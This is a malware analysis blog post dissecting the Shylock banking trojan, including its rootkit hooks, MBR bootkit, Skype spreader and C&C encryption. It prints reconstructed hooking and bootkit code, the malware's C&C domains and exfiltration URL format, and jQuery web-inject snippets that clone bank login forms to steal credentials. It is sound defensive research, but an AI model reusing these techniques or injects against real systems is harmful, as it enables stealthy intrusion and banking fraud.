- Wednesday 13 November 2013

Pray before you buy with Shylock

Shylock
Written by Sergei Shevchenko, Cyber Research



"I will buy with you, sell with you, talk with you, walk with you, and so following;  
but I will not eat with you, drink with you, nor pray with you"    
Shylock, 1.3.37  
The Merchant of Venice, Shakespeare, 1564    





Shylock-The-Trojan will indeed talk to you via Skype; walk with you while you browse Internet or while you buy or sell online. Ironically, this Man-in-the-browser (MitB) trojan considers the homeland of Shakespeare its target #1.

Being a banking trojan that targets multiple banking institutions, it employs a plug-in architecture that allows complementing the main 'framework' with additional functionality. Shylock plug-ins are DLLs with the exports:
  • Destroy()
  • Init()
  • Start()
This description enlists main Shylock's components, one-by-one.

Driver

Shylock driver is a kernel-mode rootkit that is designed to hide files, processes, registry entries, and traffic that is associated with Shylock. In addition to that, it also switches off Windows UAC by resetting the value:

EnableLUA = 0x00000000
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System


With UAC disabled, Windows Vista/7/8 will no longer prompt for consent or for credentials for a valid administrator account before launching a Shylock executable, allowing it to start silently.

If the Windows version is Vista, 7, or 8, it will obtain "NSI proxy" driver and then it will hook its IRP_MJ_DEVICE_CONTROL dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL dispatch routine within TCP driver.

The reason why Shylock hooks "NSI proxy" driver is to hide itself from netstat - a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.

Whenever netstat is run, its calls are marshalled into the kernel and are eventually handled by "NSI proxy" driver. The hook it installs is known as IRP-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N from the list is made by rewriting its contents with the contents of the element N+1, and then decrementing the total number of list elements by 1. As a result, the list of enumerated connections that is returned by netstat will never contain any active connections that are held by Shylock's user-mode components.

Here is the reconstructed logic of the hooker:

if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
{
    RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
    status = IoGetDeviceObjectPointer(&uniTcpDevice, 
                                      1u, 
                                      &FileObject, 
                                      &DeviceObject); // return device object
    status2 = status;
    if (status >= 0) // if status is OK
    {
       driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
       IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
       fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
       if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
       {
          hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;
    
replace_original_IRP:               // swap original pointer with the hook
 
          _InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL, 
                               hook_IRP_MJ_DEVICE_CONTROL);  
          return 0;
       }
       return 0;
    }
exit:
    ms_exc.disabled = -1;
    return status;
}
  
RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
status = ObReferenceObjectByName(&uniNsiDrvName, 
                                 64, 
                                 0, 
                                 0, 
                                 IoDriverObjectType, 
                                 0, 
                                 0, 
                                 &pNsiDrvObj); // get driver object
status2 = status;
if (status < 0)
{
   goto exit;
}
 
IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means 
                                           // MajorFunction[IRP_MJ_DEVICE_CONTROL]
 
fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);
 
if (fn_IRP_MJ_DEVICE_CONTROL_2)  // if the returned dispatch routine is Ok
{
   hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
   goto replace_original_IRP;  // get the hooked DeviceIoControl, 
                               // and swap it with the original one
}

The +0x70 offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL] within the driver object.

Here is why:
the driver object structure is declared as:

#define IRP_MJ_MAXIMUM_FUNCTION         0x1b
..
typedef struct _DRIVER_OBJECT {
  /* 2 */  CSHORT Type;                          // offset = 0x00
  /* 2 */  CSHORT Size;                          // offset = 0x02
  /* 4 */  PDEVICE_OBJECT DeviceObject;          // offset = 0x04
  /* 4 */  ULONG Flags;                          // offset = 0x08
  /* 4 */  PVOID DriverStart;                    // offset = 0x0c
  /* 4 */  ULONG DriverSize;                     // offset = 0x10
  /* 4 */  PVOID DriverSection;                  // offset = 0x14
  /* 4 */  PDRIVER_EXTENSION DriverExtension;    // offset = 0x18
  /* 4 */  UNICODE_STRING DriverName;            // offset = 0x1c
  /* 8 */  PUNICODE_STRING HardwareDatabase;     // offset = 0x24
  /* 4 */  PFAST_IO_DISPATCH FastIoDispatch;     // offset = 0x28
  /* 4 */  PDRIVER_INITIALIZE DriverInit;        // offset = 0x2c
  /* 4 */  PDRIVER_STARTIO DriverStartIo;        // offset = 0x30
  /* 4 */  PDRIVER_UNLOAD DriverUnload;          // offset = 0x34
  /* 4 */  PDRIVER_DISPATCH 
     MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38
} DRIVER_OBJECT;

Its MajorFunction list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c elements, and its offset in the structure is 0x38. To find out what dispatch routine is references by the offset 0x70, the offset 0x70 needs to be subtracted with 0x38 (list's offset within the structure), and divided by 4 (size of each pointer within the list):

(0x70 - 0x38) / 4 = 0x0e

The 15th (0x0e) element of the dispatch routines is declared as:

#define IRP_MJ_DEVICE_CONTROL 0x0e

Knowing that, the source code of the Shylock driver can be reconstructed into a meaningful format, that can now be searched online to see where the Shylock authors may have stolen that code from. Why stolen? Given the complexity of this code on one hand, and the ROI (return-on-investment) principle on the other, malware products like Shylock often result from integration of the solutions that are already available on the 'market'. In the end of the day, it's much easier for them to find a code snippet online, and then plug into the malware.

Shylock driver is not different - here is the snippet of code that they have 'borrowed'. By having access to the same source, we can compile and debug the very same code, only now having the privilege of stepping through the code with the help of a tool VisualDDK, and seeing exactly how Shylock driver places its hooks and how those hooks affect netstat.

Below is a screenshot of the driver code in action. At the breakpoint seen below, the code is replacing the N-th TCP entry with the TCP entry N+1 (TcpEntry[i] <- data-blogger-escaped-code="">TcpEntry[i+1]):



The local entry's port number in our example is 139 (or 0x8B00 after applying htons() to it). As a result, any connections that involve port 139 disappear from the netstat output:



Apart from the IRP hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL dispatch routines of Tcp and Nsi Proxy drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:
  • ZwEnumerateKey
  • ZwEnumerateValueKey
  • ZwQuerySystemInformation
  • ZwQueryDirectoryFile
  • ZwAllocateVirtualMemory
The KeServiceDescriptorTable patching is surrounded with a conventional cli/sti blocks: the cli-block disables interrupts and removes the write protection, the sti-block restores everything back:

.text:000130AC   cli                     ; disable interrupts
.text:000130AD   mov   eax, cr0          ; get CR0
.text:000130B0   and   eax, 0FFFEFFFFh   ; reset Write Protect flag, when clear, 
                                         ; allows supervisor-level procedures
                                         ; to write into read-only pages
.text:000130B5   mov   cr0, eax          ; save it back into CR0
 
.text:000130B8   mov   eax, KeServiceDescriptorTable
.text:000130BD   mov   eax, [eax]
.text:000130BF   mov   dword ptr [ecx+eax], offset hook_ZwEnumerateKey
.text:000130C6   mov   eax, KeServiceDescriptorTable
.text:000130CB   mov   eax, [eax]
.text:000130CD   mov   ecx, [ebp+var_14]
.text:000130D0   mov   dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
.text:000130D7   mov   eax, KeServiceDescriptorTable
.text:000130DC   mov   eax, [eax]
.text:000130DE   mov   dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
.text:000130E5   mov   eax, KeServiceDescriptorTable
.text:000130EA   mov   eax, [eax]
.text:000130EC   mov   dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile
 
.text:000130F3   mov   eax, cr0            ; get CR0 (with the cleared WP flag)
.text:000130F6   or    eax, offset _10000H ; set Write Protect flag to prevent
                                           ; writing into read-only pages;
.text:000130FB   mov   cr0, eax            ; save it back into CR0
.text:000130FE   sti                       ; allow interrupts

The hook_ZwQuerySystemInformation is handling those ZwQuerySystemInformation() calls that query for SystemProcessInformation type of system information, and is basically a rip-off of Greg Hoglund's process hider.

Skype Replicator

The Skype replicator component of Shylock relies on Skype Control API that uses window messages for communication with Skype.

First, it broadcasts SkypeControlAPIDiscover message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach message.

Next, Shylock starts controlling Skype via Control API by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow, second is Deny. Next, it will attempt to send a click to the Allow button in order to trick Skype into accepting it as a client:



As soon as the click is submitted, the client is accepted, as demonstrated with the debugged code below:



Once Shylocks tricks Skype into accepting it as a client, it starts sending out messages to the contacts found in Skype. Any messages that Skype sends are stored in Skype's main.db file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.

Shylock also tries to switch off sound alert settings within Skype by sending 'clicks' to its option window so that all the communications it initiates are carried out silently, without drawing any attention from the end user.

The Skype component of Shylock communicates with the remote server by submitting it installation details of Skype and fetching the configuration data for its own functionality.

BackSocks

BackSocks component of Shylock is a fully functional reverse (backconnect) SOCKS proxy server that is based on the source code of a legitimate proxy server 3Proxy, developed by 3APA3A ('zaraza', or 'contagion").

The SOCKS proxy allows the external attackers to tunnel their traffic through the compromised PC into internal (corporate) network. The connection with the proxy server is not established in a classic way where a backdoor trojan opens up a port and accepts incoming connections from the remote attacker - these schemes no longer work due to the wide adoption of NAT/firewalls. Instead, the SOCKS proxy initiates the reverse connection to the remote server (back-connects to it), and once that connection is established, the proxy server starts tunneling the traffic into internal network, as if the external attacker was physically located within the internal network.

By having access to the internal network through the SOCKS proxy, Shylock may access internal resources such as mail server, source control server, domain controllers etc.



Ability to hide from netstat any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.

Bootkit

In order to install the driver, Shylock engages a bootkit module that relies on an infection of the Master Boot Record (MBR). The bootkit module is a PE-executable that is protected with a run-time packer.

When run, the bootkit executable first checks if the following files can be open, and if not (e.g. these files do not exist), it continues:
  • C:\GRLDR
  • C:\XELDZ
The bootkit can be started from the following start-up registry entry:

FlashPlayerUpdate = %PATH_TO_BOOTKIT%
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce


Next, it enumerates first 8 physical drives (#0 - #7) connected to the local computer, starting from the driver #0:
\\.\PhysicalDrive0

For every drive, it invokes the MBR infection routine. The routine starts from reading the drive geometry parameters with DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY).

Next, it reads the first 512 bytes from the sector #0 (MBR), and then checks if its last 2 bytes are 55AA - a signature that identifies a bootable drive.

If the drive is not bootable, it is skipped:

.text:004024E9   xor     ebx, ebx        ; EBX is 0
...
.text:0040255E   push    ebx             ; dwMoveMethod = 0
.text:0040255F   push    ebx             ; lpDistanceToMoveHigh = 0
.text:00402560   push    ebx             ; lDistanceToMove = 0
.text:00402561   push    edi             ; hFile
.text:00402562   call    ds:SetFilePointer ; set pointer at offset 0
.text:00402568   push    ebx             ; lpOverlapped
.text:00402569   lea     eax, [ebp+NumberOfBytesRead]
.text:0040256C   push    eax             ; lpNumberOfBytesRead
.text:0040256D   push    512             ; nNumberOfBytesToRead
.text:00402572   lea     eax, [ebp+Buffer]
.text:00402578   push    eax             ; lpBuffer
.text:00402579   push    edi             ; hFile
.text:0040257A   call    ds:ReadFile     ; read 512 bytes
.text:00402580   call    esi ; GetLastError
.text:00402582   test    eax, eax
.text:00402584   jnz     next_drive      ; if error, skip it
.text:0040258A   mov     eax, 0AA55h     ; compare last 2 bytes
.text:0040258F   cmp     [ebp+_510], ax  ; (512-2) with 55AA-signature
.text:00402596   jnz     short close_handle_next_drive

If the drive is bootable, the bootkit will encrypt the original MBR copy with a random XOR key, and then, it will save the encrypted MBR copy into the sector #57.

The bootkit stores its components in the 4 sectors: #58, #59, #60, #61, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end).

Once it writes all the sectors, it tries to delete itself by running the following command with the command line interpreter:
/c ping -n 2 127.0.0.1 & del /q "%PATH_TO_BOOTKIT%" >> nul

The ping-command with -n switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.

Master Boot Record (MBR)

The MBR is infected with a code that is similar to other bootkits such as Mebroot or eEye BootRoot.

MBR code performs the following actions:

First, it reads 4 sectors: #58, #59, #60, #61 into the memory at 0x7E00 that immediately follows the MBR code loaded at address 0x7c00. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.

The new memory area has address 0x9E000, that is formed as segment register * 16 + offset of 0:
0x9E00 << 4 + 0 = 0x9E000.

Next, the code locates the XOR key that is stored at the offset 0x5c. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57 into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0.

Still running in the newly allocated area, the code will then restore remaining bytes from its own offset 0x10D till 0x18F, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT) #13h - this interrupt is used to read sectors.

Once the INT 13h hook handler is decoded, the original INT 13h vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0:

MEM:9E0F0   mov   eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
MEM:9E0F4   mov   dword ptr es:INT13HANDLER, eax  ; save into JMP instr below
MEM:9E0F9   mov   word ptr ds:offset_4c, offset Int13Hook  ; place the hook
MEM:9E0FF   mov   word ptr ds:offset_4e, es
MEM:9E103   sti
MEM:9E104   popad
MEM:9E106   pop   ds
MEM:9E107   pop   sp
MEM:9E108   jmp   start ; just to BOOTORG (0000h:7C00h)

With the INT 13h replaced, the original vector stored at ds:offset_4c will now contain 9E10D - the address of the INT 13h hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h call will eventually be invoked by MBR code - this is when the hook handler will be activated.

The INT 13H hook handler is interested in 2 types of INT 13 - normal sector read and an extended one used with the larger disks, as shown below:

MEM:9E10D Int13Hook proc far
MEM:9E10D    pushf                 ; handle two types of INT 13 below:
MEM:9E10E    cmp     ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E111    jz      short Int13Hook_ReadRequest
MEM:9E113    cmp     ah, 2         ; 2) DISK - READ SECTOR(S) INTO MEMORY
MEM:9E116    jz      short Int13Hook_ReadRequest
MEM:9E118    popf
MEM:9E119
MEM:9E119    [jmp opcode, followed with the original INT 13 vector]
MEM:9E11A INT13HANDLER    db 4 dup(0) ; original vector is stored here
MEM:9E11E
MEM:9E11E Int13Hook_ReadRequest:
MEM:9E11E    mov     byte ptr cs:INT13LASTFUNCTION, ah
MEM:9E123    popf
MEM:9E124    pushf                             ; push Flags, simulating INT
MEM:9E125    call    dword ptr cs:INT13HANDLER ; call original handler
MEM:9E12A    jb      short Int13Hook_ret       ; quit if failed
MEM:9E12C    pushf
MEM:9E12D    cli
MEM:9E12E    push    es
MEM:9E12F    pusha
MEM:9E130    [mov ah, ??] opcode - operand is patched at MEM:9E11E
MEM:9E131 INT13LASTFUNCTION:
MEM:9E131    [mov ah, ??] operand, 0 by default
MEM:9E132    cmp     ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E135    jnz     short Int13Hook_notextread
MEM:9E137    lodsw
MEM:9E138    lodsw
MEM:9E139    les     bx, [si]
MEM:9E13B    assume es:nothing

The handler then scans and patches the code of OSLOADER module (part of NTLDR) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.

To patch it in the right place, the scanner is looking for bytes F0 85 F6 74 21 80, as shown below:

MEM:9E149 Int13Hook_scan_loop:
MEM:9E149   repne scasb
MEM:9E14B   jnz     short Int13Hook_scan_done
MEM:9E14D   cmp     dword ptr es:[di], 74F685F0h ; F0 85 F6 74
MEM:9E155   jnz     short Int13Hook_scan_loop
MEM:9E157   cmp     word ptr es:[di+4], 8021h    ; 21 80
MEM:9E15D   jnz     short Int13Hook_scan_loop

These bytes correspond to the following code of the original loader:

.text:00422A6A E8 C2 12 00 00             call    near ptr unk_47DE1
.text:00422A6F 8B F0                      mov     esi, eax
.text:00422A71 85 F6                      test    esi, esi
.text:00422A73 74 21                      jz      short loc_46B46
.text:00422A75 80 3D F8 AE 43 00 00       cmp     byte_43AEF8, 0

Once these bytes are found within OSLOADER, the kernel patch from the sector #58 is applied to the loader, by directly overwriting its bytes:



The patched loader code may now look like this (compare to the original loader code above):

.text:00422A6A E8 C2 12 00 00         call    near ptr unk_47DE1
.text:00422A6F B8 33 E2 09 00         mov     eax, offset off_9E233
.text:00422A74 FF D0                  call    eax ; off_9E233
.text:00422A76 90                     nop
.text:00422A77 90                     nop
.text:00422A78 90                     nop
.text:00422A79 90                     nop
.text:00422A7A 90                     nop
.text:00422A7B 90                     nop
.text:00422A7C 90                     nop
.....

The address off_9E233 points to the code loaded from the sectors #58-#61, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.

Main Shylock Module

Main Shylock module is an executable that injects its code into other processes, communicates with C&C and fetches configuration files and plug-ins, fully monitors browsers Internet Explorer and Firefox, and provides full backdoor access to the compromised system. It is the remote configuration files that define its logic, such as what online banking sessions to intercept and how.

Shylock is a VM-aware threat: its anti-sandboxing code enumerates all the drivers installed on a compromised system, and for every driver it calculates a hash of its name; if the returned name hash is black-listed, Shylock will exit.

For example, on a snapshot below, Shylock returns a hash of 0x2FE483F3 for an enumerated driver vmscsi.sys (part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3, and in case of a match, it quits.



In order to complicate code analysis and emulation, Shylock always calls APIs by their hashes. For instance, GetCommandLineA() is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E:



The API hash calculation algorithm is trivial:

DWORD GetHash(char *szApi)
{
   DWORD dwHash = 0;
   for (DWORD i = 0; i < strlen(szApi); i++)
   {
      BYTE b = szApi[i];
      dwHash ^= b;
      __asm
      {
         ror dwHash, 3
      }
      if (b == 0)
      {
         break;
      }
   }
   return dwHash;
}

Shylock spawns separate threads for different plugins. For example, it injects BackSocks server DLL into svchost.exe and starts a remote thread in it.

The trojan checks the host process name, and depending on the name, it installs different user-mode hooks for the process.

If the host process is FireFox browser (FIREFOX.EXE), it will load nss3.dll and nspr4.dll. Next, it will place these hooks:

nspr4.dll:
  • PR_Read

  • PR_Write

  • PR_Close

nss3.dll:
  • CERT_VerifyCertName

  • CERT_VerifyCertNow

If the host process Internet Explorer (IEXPLORE.EXE), it will load mshtml.dll and then place following hooks:

ws2_32.dll:
  • send

wininet.dll:
  • HttpOpenRequestA/W

  • HttpSendRequestA/W

  • HttpSendRequestExA/W

  • InternetReadFile

  • InternetReadFileExA/W

  • InternetCloseHandle

  • InternetQueryDataAvailable

  • InternetSetStatusCallback

In case the host process is Windows Explorer (EXPLORER.EXE) or system processes USERINIT.EXE or RUNDLL32.EXE, then it will hook:

ntdll.dll:
  • NtCreateThread/ZwCreateThread

  • NtCreateUserProcess/ZwCreateUserProcess

  • NtEnumerateValueKey/ZwEnumerateValueKey

  • NtQueryDirectoryFile/ZwQueryDirectoryFile

user32.dll:
  • ExitWindowsEx

  • GetMessageW

kernel32.dll:
  • HeapDestroy

advapi32.dll:
  • InitiateSystemShutdownExW

The purpose of the hooks above is to inject into newly launched processes and to hide its file/registry entries. If the user shuts down Windows, the hook handler will attempt to recreate the files and the start-up registry entries, in order to persist even the user has partially deleted this threat.

Once activated, Shylock deletes all Firefox cookies. Next, it searches for and overwrites user.js files found in %APPDATA%\Mozilla\Firefox\Profiles directory, thus manipulating the following security settings of the Firefox browser:

security.enable_tls = false
network.http.accept-encoding = ""
secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
security.warn_viewing_mixed.show_once = false
security.warn_submit_insecure = false
security.warn_submit_insecure.show_once = false


For example, whenever insecure form information is submitted, the "Security Warning" dialogue will not be displayed by Firefox - this will allow Shylock to have no objections from the browser when it tries to work with fake/redirected sites.

It can also delete and upload Flash Player cookies (Local Shared Object - SOL files) stored in %APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.

Internally, Shylock distinguishes itself running in one of 3 modes:
  • master

  • slave

  • plugin

The 'master' is responsible for communication with the remote server, namely sending 'beacon' signals to the server, posting detailed computer information, reports/files, posting error logs, and polling the remote C&C server for configuration files on injection/redirection and other execution parameters. The 'master' may spawn a thread that will record the video of everything that occurs on the screen, and then upload the video to the remote server. In order to 'talk' to the 'slaves' and 'plugins', that are injected into other running processes, the 'master' uses Interprocess Communication Mechanism (IPC) via a named memory pipe that allows sharing data across all Shylock components running within the different processes.

Shylock executable has a dedicated configuration stub in its image that is similar to ZeuS. For example, the C&C URLs and injections configuration file name are hard-coded in that stub as:
  • https://wguards.cc/ping.html

  • https://hiprotections.su/ping.html

  • https://iprotections.su/ping.html

  • /files/hidden7770777.jpg

The usage of a stub suggests that Shylock executable is most likely compiled once with an empty stub, and then is dynamically 'patched' by a builder to embed different C&C URLs in it, with the string encryption routine being part of the builder.

One of the configuration stub fields contains a timestamp of the date and time when the executable was generated. Shylock makes an attempt to avoid execution if current time is past the compilation time by more than 2 hours. But either due to a bug or a 'feature', the 2-hour time span ignores months, so it will run on a same day of every month of the same year, but only within the 2-hour 'window'. If Shylock is executed outside that window, it will quit. The 2-hour span means that Shylock allows only 'fresh' installations/executions of itself, when the C&C embedded into executable are live, or otherwise, it is risking to be exposed by constantly pinging non-existent (or taken down) domains, ringing all the bells within intrusion/anomaly detection systems.

All strings are encrypted with a random key that is stored together with an encrypted string. The key is saved into 4 bytes, is followed by 4 zero-bytes, and then followed with the encrypted data. The code decrypts the strings on-the-fly: first, it makes an integrity check by applying the key to the encrypted data and making sure the original string has at least 2 characters in it. Next, it decrypts the string itself.

The reconstructed string checker and decryptor would look like:

int iGetEncodedStringLen(DWORD dwKey, char *szString)
{
    int iResult;
    int iCount;
    
    if (szString)
    {
        iCount = 0;
        if ((BYTE)dwKey ^ *(LPBYTE)szString)
        {
            do
            {
                ++iCount;
                dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
            }
            while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
        }
        iResult = iCount;
    }
    else
    {
        iResult = 0;
    }
    return iResult;
}
 
void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
{
    char b1;
    char b2;
    bool bEndOfString;
    
    if (szEncrypted)
    {
        while (1)
        {
            b1 = *(LPBYTE)szEncrypted;
            b2 = dwKey ^ *(LPBYTE)szEncrypted;
            *(LPBYTE)szEncrypted = b2;
            if (iFlag == 1)
            {
                bEndOfString = b2 == 0;
            }
            else
            {
                if (iFlag)
                {
                    goto skip_check;
                }
                bEndOfString = b1 == 0;
            }
            if (bEndOfString)
            {
               return;
            }
skip_check:
            szEncrypted = (char *)szEncrypted + 1;
            dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
        }
    }
}

so that the encrypted C&C URL below:

char szTest[] = "\xE7\xEB\xBB\x91"             // key
                "\x00\x00\x00\x00"             // 4 zeroes
                "\x8F\xC8\xB9\x9A\xD0\x72\xC6\x79\x68\xF3"
                "\xB0\xE3\x29\xC4\x12\x40\x34\x0F\x92\x6A"
                "\x7A\x96\xBE\xA8\xE7\x30\xD8\xDE\xCB";

can now be decrypted as:

if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
{
    DecodeString(szTest + 8, *(DWORD*)szTest, 1);
    MessageBoxA(NULL, szTest + 8, NULL, MB_OK);
}



A stand-alone tool that relies on such decryptor allows decrypting and patching all 751 strings within the Shylock executable to further facilitate its static analysis.

When Shylock communicates with the remote C&C server, it relies on HTTPS. Apart from that, the transferred data is encrypted with RC4 algorithm. Shylock takes one of C&C server URLs stored in its configuration stub, and prepends it with a random string, delimited with a dot. For example, wguards.cc becomes ei0nciwerq7q8.wguards.cc.

The modified domain name will successfully resolve and will be used for communications. The same domain name will then be used to form an encryption key - Shylock appends a hard-coded string 'ca5f2abe' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z= URL parameter in it, e.g.:

http://ei0nciwerq7q8.wguards.cc/ping.html?z=[encrypted_data]

where [encrypted_data] is a result of:

url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))

The C&C server thus reads z= parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe' string appended and used as a password, then url-unescapes the resulting data which is a plain text.

By taking the source code of the functions rc4_init() and rc4_crypt(), published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:



As seen on a picture, the posted 'cmpinfo' data is accompanied with a control sum and a hash to ensure data integrity ('key' and 'id'), it shows an installation mode ('master'), botnet name ('net2'), command name ('log'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.

The executable drops its own copy as a temp file, registers itself in a start-up registry key, then injects into svchost.exe and explorer.exe and runs a self-termination batch script, thus quitting its 'installation' phase of running.

When Shylock requests configuration data from the server, it uses a 'cmd' (command) parameter set to 'cfg' (configuration).

Let's manually construct a request 'net=net2&cmd=cfg', then feed it to the debugged code to calculate the 'key' and 'id' parameters for us. The resulting request will be:

key=a323e7d52d&id=47E8ABF258AB82ECEF14F79B37177391&inst=master&net=net2&cmd=cfg

The C&C we'll use will be https://y85rqmnuemzxu5z.iprotections.su/ping.html, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe', and then base64-encode it. The server will reply with the base64-encoded text to such request, transferred via HTTPS:



Once this response is base64-decoded, it needs to be decrypted. The key used to encrypt this data is not the same as before. It is an 'id' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:
<hijackcfg>
      <botnet name="net2"/>
      <timer_cfg success="1200" fail="1200"/>
      <timer_log success="600" fail="600"/>
      <timer_ping success="1200" fail="1200"/>
      <urls_server>
            <url_server url="https://protections.cc/ping.html"/>
            <url_server url="https://eprotections.su/ping.html"/>
            <url_server url="https://iprotections.su/ping.html"/>
      </urls_server>
      
... and so on

The XML enlists other plugin URLs, backconnect server IP and port number used by the reverse SOCKS proxy server connection for live VNC sessions, URL of the latest Shylock executable for an update. All the most important plugins contained in the configuration file were already explained before. The C&C list is refreshed with the new servers. The last remaining bit here is an 'httpinject' parameter specified as:
<httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>
It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.

The downloaded file is compressed with zlib v1.2.3; once decompressed, it shows all web inject logic employed by Shylock.

Web Injects

The web injects of Shylock work by intercepting online banking sessions and injecting extra HTML data. Analysis of the configuration data suggests that Shylock attacks mostly UK banks.

There are several types of data that Shylock replaces on a web page. In one type, Shylock replaces the phone numbers provided at the bank's site. In the example below, the trojan modifies the bank's complaint form - an inset shows what the original form is replaced with:



In other cases, the web pages themselves are not modified - only the enlisted phone numbers are replaced.

Calling the replacement phone number leads to the following auto-reply message (actual audio recording):

Auto Reply Message

The injection of the phone numbers into the web sites are most likely designed to prevent resolution scenarios when customers receive a phishing email, or get concerned about the stolen funds or compromised accounts. In case of a security breach, the natural thing to do for many is to open the bank's website and look up the telephone numbers to call the bank and cancel the credit card, or lock other accounts. By accessing the bank site through the same compromised system, the issues that need to be addressed as quick as possible, might not be addressed when the time is critical.

Apart from the phone number replacements, online banking login forms are simply blocked from being displayed by settings their CSS style into:
style="display:none;"
In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's .clone() command:
var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');
The screenshot below shows the result of such cloning:



The original login form is then hidden from the user:
jQuery(this).hide();
Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
jQuery('#usr_name').val(lvltxt.qqqrcs06tl9npo);
jQuery('#usr_password').val(lvltxt.pwd);
jQuery('.login-button:first').find('div').click();
At the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with XDomainRequest()).

